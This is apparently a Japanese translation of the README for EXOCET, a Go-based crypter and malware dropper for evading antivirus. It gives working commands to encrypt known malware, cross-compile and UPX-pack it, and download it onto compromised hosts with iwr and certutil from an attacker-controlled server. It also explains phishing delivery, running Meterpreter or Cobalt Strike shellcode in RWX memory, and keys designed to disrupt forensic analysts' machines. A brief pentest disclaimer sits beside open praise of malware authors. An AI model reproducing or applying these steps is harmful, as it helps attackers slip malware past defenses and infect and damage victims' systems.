
EXOCET - AV回避、検知不能、ペイロード配信ツール
Chang Tan
AWS認定クラウドプラクティショナーおよびソリューションアーキテクトアソシエイト
[email protected]
ペイロードをパックして、クリプターのキーが漏洩するのを防ぎ、マルウェアアナリストをさらに混乱させてください。Themidaのような商用の最高級パッカーは必須ではありません。コード署名証明書がないと、さらなる疑念を招くだけです。コード署名証明書がない場合、WindowsシステムではSmartScreenが自動的にトリガーされます。これは、すべての望ましくない可能性のあるプログラム(「PUP」)、つまりすべてのマルウェアペイロード、ビーコン、Geacon、リモートアクセス型トロイの木馬などに適用されるルールであり、コード署名証明書が必要です。お金は、最高級のパッカーを買うよりも、コード署名証明書を購入するために使う方が賢明です。
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
その後、ターゲットにペイロードをドロップします。フィッシングメール、リンク、または既にシェルアクセスがある場合は、ローカルでサーバーをホストするなどして配信します。
python -m http.server 80'
そして、侵害しているマシン上で、PowerShellプロンプトとして以下を実行します。
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
または
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
そして、outputmalware.exe で実行します。
EXOCETはMetasploitの「Evasive Payloads」モジュールよりも優れています。EXOCETはGCMモード(Galois/Counter Mode)のAES-256を使用するからです。MetasploitのEvasion Payloadsは検出されやすいRC4暗号化を使用しています。RC4はより高速に復号できますが、AES-256はマルウェアの意図を特定するのがはるかに困難です。

ただし、Metasploitを使用してEvasion Payloadを構築し、それをEXOCETと連鎖させることは可能です。その場合、EXOCETがAES-256で復号し、次にMetasploit Evasion Payloadがそれ自身をRC4から復号します。
以前のプロジェクト「DarkLordObama」と同様に、このツールキットはVeil-Evasionのように配信/発射手段として設計されています。
しかし、EXOCETは単一のコードベースやPythonが動作するプラットフォームに限定されません。EXOCETはGoがサポートするすべてのプラットフォームとアーキテクチャで動作します。
EXOCETは、事実上、クリプタータイプのマルウェアドロッパーであり、WannaCryのような検出されやすいペイロードを再利用し、AES-GCM(Galois/Counter Mode)で暗号化します(AES-CBCよりも安全です)。その後、大多数のアーキテクチャとプラットフォーム向けのドロッパーファイルを作成します。
基本的には...
つまり、32ビットおよび64ビットのアーキテクチャに対応し、Linux、Windows、Mac、Unix、Android、iPhoneなどで動作します。1988年にインターネットをほぼダウンさせたMorris Worm(UNIXのfingerdリスナーデーモンの脆弱性を悪用)のような、あらゆるものを再度実行可能なサイバー兵器に変えることができます。
EXOCETは完全にGoで書かれています。
EXOCETは、どのバイナリを使用して実行する場合でも、Golangが必要です。デフォルトでは、クリプターの.goファイルを生成します。
sudo apt-get update && sudo apt-get install -y golang を実行go get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
キーは自動的に生成されます。キーは64文字で、すべてbashおよびcmd.exeのシェルパイプリダイレクターで構成され、フォレンジックアナリストのデバイスで予測不可能で破壊的な動作を引き起こすことで、キーに対するブルートフォース攻撃を混乱させ、妨害します。
64ビットWindowsターゲット向け:
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
そして、outputmalware.exe ファイルが生成されます。
64ビットMacOSターゲット向け:
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
64ビットLinuxターゲット向け:
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
Androidなど他のオペレーティングシステムのパラメータについては、GitHub上のこのリファレンスを参照してください: Goクロスコンパイルのリファレンス
キーは strings コマンドでも見つかる可能性があるため、upx-ucl コマンドを使用してバイナリをパックし、キーを隠蔽してください。
さらに、私が作成したプリコンパイル済みバイナリもあります。./EXOCET または EXOCET-Windows.exe を実行するだけです。
私、Chang Tan、およびExocetのメインモジュールとサブモジュール、ならびにそれに含まれるパッケージの作成者は、このツールの誤用について一切の責任を負いません。これは単なるペネトレーションテストツールです。EXOCETの出力バイナリを許可されていない保護されたシステムや許可されていない保護された政府システムに対して展開することは厳禁です。
APT41やNSOグループの脅威アクターがこのツール、特にgo-memexecメソッドを使用したり、コードを採用したことを認識しています。もしこのツールの誤用に関して連邦捜査官から接触された場合、私は責任を主張しません。
これはMimikatzやPowerShell Empireの開発者に起こったことと同様です(彼らは脅威アクターによる使用を認識した後、自らの開発を非推奨としました)。その後継者たちがEmpireの開発を引き継いでおり、Covenant C2のような無料の代替手段もあります。
1982年5月4日、フォークランド戦争中、アルゼンチンのシュペルエタンダール戦隊がフランス製のエグゾセミサイルをHMSシェフィールドに向けて発射しました。イギリス海軍がミサイルを阻止しようとしたにもかかわらず、1発が命中し、シェフィールドは沈没しました。この事件は、世界的な植民地大国に対する力の誇示として、アルゼンチンを地図に載せたのです。
まさに、Onel de GuzmanがILOVEYOUウイルスでフィリピンをサイバー脅威として地図に載せたのと同様です。
.png)
今月と来月は私にとって忙しい月となり、これらの方法の実装には遅れが生じるでしょう。しかし、以下のような新しいAV回避技術の実装を始めることに興奮しています。
私は非常に忙しい人間です。以下の優先事項があり、プロジェクトを支援するための助けやプルリクエストをお願いしたいです。私には以下のことを行う必要があります。
少し助けが必要です。なぜなら、暗号化されたシェルコードを実行するためのCGOを正常に実装したものの、メモリアクセス違反(終了ステータス0xc0000005)が発生しているからです。ファイルCGOTest/working-template-shellcode-executor.goが実行されたため、DEP(データ実行防止)に関連する問題ではないはずです。
問題判明
結局のところ、VirtualAllocはkernel32.dllとntdll.dllから呼び出して、シェルコードが配置されるメモリページを読み取り可能、書き込み可能、実行可能にする、つまりPAGE_EXECUTE_READWRITEをONに設定する必要があることがわかりました。以下のメモリアクセス違反問題に関する注意を参照してください。

これを解決すれば(CGOの実装は非常に面倒でした)、インラインアセンブリを実行するクリプターを作成できるようになります。これはこれまで不可能と考えられていました。
注意: これにはGolangとMinGWツールチェーンがWindowsにインストールされている必要があり、Windows上でシェルコードを実行および生成する必要があります。その理由は、CGOは他のEXOCETモジュールのようにクロスコンパイルできないからです。ツールチェーンをインストールするには、https://www.msys2.org/ にアクセスし、ガイドに従ってください。その後、Windowsの環境変数にgccを追加する必要があります。

ステップ1: シェルコードを生成します。これはmsfvenom Meterpreterペイロード、Cobalt Strikeビーコン、または独自のカスタムシェルコード(C互換形式)から生成できます。

ステップ2: シェルコードのバイトのみをコピーし、引用符を除いてsc.txtのようなテキストファイルに貼り付けます。

ステップ3: シェルコードファイルはこのようになります。生のシェルコードです。

ステップ4: 次に、コマンド go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY を実行します。
ステップ5: 実行を試みることはできますが、何らかの理由でメモリアクセス違反エラーが発生します。これについてはまだ作業中です。
明らかに、CGOの主要な制限(クロスコンパイルを禁止または大幅に妨げる)に加えて、問題は実行しようとするシェルコードが(WinDBG x64で分析したところ)RWXではないメモリ領域に配置されていることです。つまり、メモリ上でのシェルコードの実行を明示的に許可するCコードを書かない限り、常にアクセス違反エラーが発生します。
別の方法として、私は他の開発者が初歩的なGoモジュール https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d で実装しているのを観察しました。彼らはGoのWindows APIを使用してntdll.dllとkernel32.dllと連携し、VirtualAllocを呼び出してRWXメモリページの領域を指定しています。この方法はより効果的ですが、シェルコードが数値変換された形式のみで動作するようです。
まだ作業中です。複数のプログラミング言語を組み合わせて、適切なシェルコード実行モジュールを作成するかもしれません。
残念ながら、新しいM1 CPUを搭載したMacBook用のプリコンパイル済みバイナリの作成でエラーが発生しています。私のGolangインストールの問題かもしれません。
┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status
いずれにせよ、ターゲットとするプラットフォームにマルウェアをコンパイルまたはクロスコンパイルするには、Golangが必要です。